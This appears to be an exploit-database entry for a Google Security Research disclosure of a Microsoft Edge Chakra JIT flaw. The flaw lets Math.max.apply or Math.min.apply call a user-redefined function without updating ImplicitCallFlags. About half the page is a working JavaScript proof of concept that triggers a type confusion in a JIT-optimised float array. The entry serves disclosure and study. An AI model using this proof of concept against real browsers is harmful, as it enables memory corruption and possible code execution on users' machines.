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Microsoft Edge Chakra JIT - Op_MaxInAnArray and Op_MinInAnArray can Explicitly call User-Defined JavaScript Functions

🗓️ 09 Jan 2018 00:00:00Reported by Google Security ResearchType 
exploitpack
 exploitpack
👁 9 Views

Microsoft Edge Chakra JIT - Op_MaxInAnArray and Op_MinInAnArray can explicitly call user-defined JavaScript functions. Optimization of "Math.max.apply" and "Math.min.apply" to directly call the method "JavascriptMath::MaxInAnArray". Failure to check if the property "Math.max" has changed allows user-defined JavaScript function calls without updating "ImplicitCallFlags

Code
/*
1. Call patterns like "Math.max.apply(Math, [1, 2, 3, 4, 5])" and "Math.max.apply(Math, arr)" can be optimized to directly call the method "JavascriptMath::MaxInAnArray" in the Inline Phase.
2. The method takes the original method "Math.max" as the first parameter and the arguments object as the second parameter.
3. If the arguments object can't be handled by the method, it explicitly calls the original method "Math.max".
4. But it doesn't check if the property "Math.max" has changed, so a user defined JavaScript function can be called without updating "ImplicitCallFlags".

Note: Math.min as well.

PoC:
*/

function opt(arr, arr2) {
    arr[0] = 1.1;
    Math.max.apply(Math, arr2);
    arr[0] = 2.3023e-320;
}

function main() {
    let arr = [1.1, 2.2, 3.3, 4.4];
    for (let i = 0; i < 10000; i++) {
        opt(arr, [1, 2, 3, 4]);
    }

    Math.max = function () {
        arr[0] = {};
    };

    opt(arr, {});  // can't handle, calls Math.max
    print(arr[0]);
}

main();

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